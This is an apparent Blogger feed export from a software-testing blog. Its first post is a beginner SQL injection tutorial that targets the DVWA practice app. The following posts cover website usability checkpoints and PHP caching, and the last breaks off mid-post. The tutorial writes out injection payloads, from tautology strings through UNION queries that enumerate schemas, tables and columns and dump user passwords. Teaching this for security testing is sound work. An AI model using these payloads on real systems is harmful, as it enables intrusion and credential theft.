<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6016883797447015575</id><updated>2024-09-02T05:44:14.946+05:30</updated><category term="Performance testing"/><category term="Fundamental of Testing"/><category term="Web Application"/><category term="software testing Introduction"/><category term="EQP"/><category term="I-PHONE"/><category term="Iphone testing"/><category term="Login window"/><category term="PHP"/><category term="Requirement Analysis"/><category term="Risk.........."/><category term="SQL injection"/><category term="Testing Principles"/><category term="Usability"/><category term="security testing"/><category term="software testing"/><title type='text'>Software Testing</title><subtitle type='html'>Software Testing</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-1892028058949884984</id><published>2015-08-17T15:16:00.000+05:30</published><updated>2016-12-19T10:15:11.684+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="security testing"/><category scheme="http://www.blogger.com/atom/ns#" term="software testing"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL injection"/><title type='text'>SQL Injection Simplified</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;Bond: “My dear, uncooperative Domino.”&lt;br /&gt;Domino: “How do you know that? How do you know my friends call me Domino?”&lt;br /&gt;Bond: “It’s on the bracelet on your ankle.”&lt;br /&gt;Domino: “So, what sharp little eyes you’ve got.”&lt;br /&gt;Bond: “Wait ’till you get to my teeth.”&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
During the last decade of IT security, many articles on SQL injection have been written. I am just putting effort to make it more simple and reader friendly.&lt;br /&gt;
This article is just fully devoted to those who are new to SQL injection.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SQL&lt;/b&gt;&lt;br /&gt;
SQL is nothing but a language which interacts with your database to work on your data. You can store new,&amp;nbsp; retrieve or modify the stored data.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SQL Injection:&lt;/b&gt;&lt;br /&gt;
SQL injection is a craft that sends end-user Query directly to the application database.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;What should we look at:&lt;/b&gt;&lt;br /&gt;
We should look the page which has direct parameter like&lt;br /&gt;
http:// Example.com/search?id=2&lt;br /&gt;
(query for this link should be like as : select name from users where id= &#39;2&#39;)&lt;br /&gt;
&amp;nbsp;also we can directly identify the field from web page.&lt;br /&gt;
like&lt;br /&gt;
&amp;lt;Form method =&quot;GET&quot; action &quot;#&quot; &amp;gt;&lt;br /&gt;
&amp;lt;input type- &quot;Text&quot; name= &quot;ID&quot;&amp;gt;&lt;br /&gt;
&amp;lt;input type= &quot;Submit&quot; name=&quot;Submit&quot;&amp;gt;&lt;br /&gt;
&amp;lt;/From&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to start testing:&lt;/b&gt;&lt;br /&gt;
To identify the SQL Inject possibility we can add&amp;nbsp; &#39; or &#39;1&#39;=&#39;1&amp;nbsp; or &#39; or &#39;a&#39; =&#39;a for more refer to the list.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPjs9oq03EMyGK1hKwD4e2cp4ED8V_RLZj7037LIEch8ika2bwe33sw9fJ7WkFPr5tXzvGq5yTbdfNFKON4D-v1zIFyiWkIZQn0XRz9lziQcnuOEXgxuitEnIvRklzWwPjGq0iT5U2WLc/s1600/SQL+list.PNG&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPjs9oq03EMyGK1hKwD4e2cp4ED8V_RLZj7037LIEch8ika2bwe33sw9fJ7WkFPr5tXzvGq5yTbdfNFKON4D-v1zIFyiWkIZQn0XRz9lziQcnuOEXgxuitEnIvRklzWwPjGq0iT5U2WLc/s1600/SQL+list.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
When you will add this to URL. URL will be like&lt;br /&gt;
http:// Example.com/search?id=2&#39;or &#39;1&#39; = &#39;1 #&lt;br /&gt;
(query for this link should be like as : select name from users where id= &#39;2&#39; or &#39;1&#39; =&#39;1&#39; #&#39;)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Why do we use # or --&lt;br /&gt;
-- to tell MS SQL to ignore rest Query.&lt;br /&gt;
# to tell MYSQL to ignore rest Query and make it for the current instance.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to start:&lt;/b&gt;&lt;br /&gt;
let&#39;s start with a search box. Pass&amp;nbsp; 1&#39; or &#39;1&#39;=&#39;1 # to the input field and watch the output.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLy4BYl7UG1S2oRD6wE7Txtpp4kUozDvCkSH4zA39AFxH9UmnrghjoIClmElTZenID83b89sE11fyOaCV-qW6DHiwZDvcQpQP6la-WspxvEdeYdYdEFcAoBfT9rmCNvFCsfueWv18qHvY/s1600/1.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLy4BYl7UG1S2oRD6wE7Txtpp4kUozDvCkSH4zA39AFxH9UmnrghjoIClmElTZenID83b89sE11fyOaCV-qW6DHiwZDvcQpQP6la-WspxvEdeYdYdEFcAoBfT9rmCNvFCsfueWv18qHvY/s320/1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As we can see that we get a search result and our Query is also executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now we should go further to test SQL Injection vulnerability. Hence we should check the DB version and DB name to confirm the SQL Injection vulnerability with the following Query:&lt;br /&gt;
&#39;union select null, @@version #&lt;br /&gt;
&#39;union select null, database()&amp;nbsp; #&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdleBHhMS_WmXqOPF71IbLATWU-lK3FPxSMNd1E4OyWiRDWATqH42qynh69smfyZFJFYfZYmrjJNpqyOWF7prqRze-_yWnNOpbTBapWdtd5pnmo6ChB3D7tRLSNpqOmyN_kMOB2fPOfJc/s1600/2.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdleBHhMS_WmXqOPF71IbLATWU-lK3FPxSMNd1E4OyWiRDWATqH42qynh69smfyZFJFYfZYmrjJNpqyOWF7prqRze-_yWnNOpbTBapWdtd5pnmo6ChB3D7tRLSNpqOmyN_kMOB2fPOfJc/s1600/2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After confirming SQL Injection vulnerability we can access the Schema of a system using the following&lt;br /&gt;
command:&lt;br /&gt;
&#39;union select null, schema_name from information_schema.schemata #&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW_rNZxpeG2G1y_v39RDxnmVMS4JuK5zkj4-DoK240wQdL1UfXcfJnoVDnCnVC7Y17Wg60UNOM252gA0lAw9GHQVqvggS1GTEruOTomm9hlIsVZmucPJzq-k9tfL5ivA4dJOqLXgxPoiw/s1600/3.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW_rNZxpeG2G1y_v39RDxnmVMS4JuK5zkj4-DoK240wQdL1UfXcfJnoVDnCnVC7Y17Wg60UNOM252gA0lAw9GHQVqvggS1GTEruOTomm9hlIsVZmucPJzq-k9tfL5ivA4dJOqLXgxPoiw/s1600/3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Schema name is always same as database name that contains a table. We can access table directly from Schema using following Query.&lt;br /&gt;
&lt;br /&gt;
&#39;union select null, table_name from information_schema.tables where table_schema= &#39;dvwa&#39; #&lt;br /&gt;
&lt;br /&gt;
Now we need only column name to access data. hence we should use the following the table.&lt;br /&gt;
&lt;br /&gt;
&#39;union select null,&amp;nbsp; column_name from information_schema.columns where table_name = &quot;users&quot; #&lt;br /&gt;
&lt;br /&gt;
Since we have column name, we can access any data from Database like that&lt;br /&gt;
&lt;br /&gt;
&#39;union select null,&amp;nbsp; concat(first_name, 0x0a,user_id, 0x0a, password) from users #&lt;br /&gt;
&lt;br /&gt;
You can do this on DVWA 1.8 with a low-security setting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/1892028058949884984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2015/08/sql-injection-simplified.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1892028058949884984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1892028058949884984'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2015/08/sql-injection-simplified.html' title='SQL Injection Simplified'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPjs9oq03EMyGK1hKwD4e2cp4ED8V_RLZj7037LIEch8ika2bwe33sw9fJ7WkFPr5tXzvGq5yTbdfNFKON4D-v1zIFyiWkIZQn0XRz9lziQcnuOEXgxuitEnIvRklzWwPjGq0iT5U2WLc/s72-c/SQL+list.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-7124947296834580323</id><published>2014-04-06T00:42:00.002+05:30</published><updated>2014-04-06T00:45:28.376+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="software testing Introduction"/><category scheme="http://www.blogger.com/atom/ns#" term="Usability"/><category scheme="http://www.blogger.com/atom/ns#" term="Web Application"/><title type='text'>Website check points</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Writer- Hey Pearl! what are you doing.?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Pearl-I am buying anew dress for party.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Writer- Have you check what&amp;nbsp; you should be ?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Every body know but time to recall again.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4d2xM89qHmkDunnLj0cRiAjQkrs_i8LN1YmBuVoGh-3mvJ6_sVK4IeTUgWYeBBTRV_76Fg4FObv2cvOFAQAzULbf1ZyVqC7lvpUnWjV8AL7tObnPhWyAEhHS-pSB2q8s4uuuKAcHN48/s1600/cp.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4d2xM89qHmkDunnLj0cRiAjQkrs_i8LN1YmBuVoGh-3mvJ6_sVK4IeTUgWYeBBTRV_76Fg4FObv2cvOFAQAzULbf1ZyVqC7lvpUnWjV8AL7tObnPhWyAEhHS-pSB2q8s4uuuKAcHN48/s1600/cp.jpg&quot; height=&quot;320&quot; width=&quot;268&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;Have you check that:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Home page load time or Size of home page. The most important factor in conveying an efficient impression is load time. end user may loose interest to open the site if it is taking long load time. All pages should be kept under 40-50k in size. The homepage should be especially small and quick to download.&lt;br /&gt;
- Pages should be easily readable, clear and easy to understand. theme should be eye friendly and visible/It is important that the site is not too cluttered with text and images. The font size needs to be large enough to be readable and clashing colours need to be avoided.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;- Asking users to download an application or a plug-in at opening home page will always create annoyance and confusion, hence user will drive away.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;- End user love to see all the business at home page with out scrolling.&amp;nbsp; Avoid unwanted scrolling.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;- The site should be interactive and encourage user participation from the outset. There should be direct links to user required actions immediately visible on the homepage.&lt;br /&gt;
- The site should strive to create a feeling of wanting more in the user. The goal should be to get the user to stay as long as possible and to come back to the site again.&lt;br /&gt;
- Providing immediate contact details such as e-mail addresses and telephone numbers on the homepage will give the site an open feel and add a personal touch, thus increasing user confidence and trust in using the site.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;– certifications, associations seals etc.&amp;nbsp; Providing credential information is a useful way to build trust in the user.&lt;br /&gt;
User registration-&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Are users made to register to get into site? - Forcing users to subscribe or register on the home page before continuing will not be appreciated and may turn users away. Users will only identify themselves when they are ready.&lt;br /&gt;
&amp;nbsp;-Site map - Site maps are easy to understand and present a completely alternative&amp;nbsp; direct method of navigating the site to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; - Always have a link&amp;nbsp; to the homepage&amp;nbsp; to ensuring that&amp;nbsp; users do not get lost and feel more secure navigating the site.&lt;br /&gt;
&lt;br /&gt;
- Search&amp;nbsp; - An internal search facility provides users with a means of finding what they want on the website quickly and efficiently. help user to find&amp;nbsp; business.&lt;br /&gt;
&lt;br /&gt;
- No Broken links - All links should be continuously tested to insure they are working. Broken links will frustrate users and give an unprofessional impression as well security breach.&lt;br /&gt;
&amp;nbsp;- Graphics/Images may not convey immediate meaning to some users so providing additional text links is important. ALT tags on images can boost ranking with some search engines Like Google.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;- Avoid Frames - The fundamental view of data on the Web is the page, which is viewed as an atomic unit. Frames split up web pages and can add confusion to the user attempting to navigate the site. &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/7124947296834580323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2014/04/website-check-points.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7124947296834580323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7124947296834580323'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2014/04/website-check-points.html' title='Website check points'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4d2xM89qHmkDunnLj0cRiAjQkrs_i8LN1YmBuVoGh-3mvJ6_sVK4IeTUgWYeBBTRV_76Fg4FObv2cvOFAQAzULbf1ZyVqC7lvpUnWjV8AL7tObnPhWyAEhHS-pSB2q8s4uuuKAcHN48/s72-c/cp.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-1703416506602608285</id><published>2013-07-16T15:24:00.000+05:30</published><updated>2016-12-19T10:11:38.819+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Performance testing"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Web Application"/><title type='text'>Performance by Code review </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY2_aHjv3Jp5tdeBZcAOIuxgKFXFjOYZJcII0BX8SLL5tv9gpuj1b4THX0W9G7zUMEmFlPKx0OL9RMKHXnpMMuC5mygROs2uCqHEQ3DqSpCmSF5SU5smxvM7mPnMPXYD94JvQs9bLw77c/s1600/12.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY2_aHjv3Jp5tdeBZcAOIuxgKFXFjOYZJcII0BX8SLL5tv9gpuj1b4THX0W9G7zUMEmFlPKx0OL9RMKHXnpMMuC5mygROs2uCqHEQ3DqSpCmSF5SU5smxvM7mPnMPXYD94JvQs9bLw77c/s400/12.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;1. Make cache as possible&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
Caching is a possible support to reduce your CPU cycle. However, a good developer knows that most function for the cache is not persistent for data. So It should be considered that application should work with or without caching.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;function chachtest()&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;sleep(10);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;return date(&#39;d/m/Y H:i:s&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$set1 = chachtest();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;echo $set1;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
This code will run for ten Second , just because use of the sleep function, to simulate one slow operation. let re-analysis this code to:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$memcache = new Memcache;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$memcache-&amp;gt;connect(&#39;localhost&#39;, 11211);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;function chachtest() {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;sleep(1);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;return date(&#39;d/m/Y H:i:s&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$set1 = $memcache-&amp;gt;get(&#39;item&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;if ($set1 === false) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$set1 = chachtest();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$memcache-&amp;gt;set(&#39;item&#39;, $set1);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;echo $set1;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;b&gt;2.Loops might slow You&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;However, a loop is more supportive for a developer. it is usually a good support to reduce development effort. But the worse use of loop may become a thread of bad performance. Like given in below example.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;// bad example&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
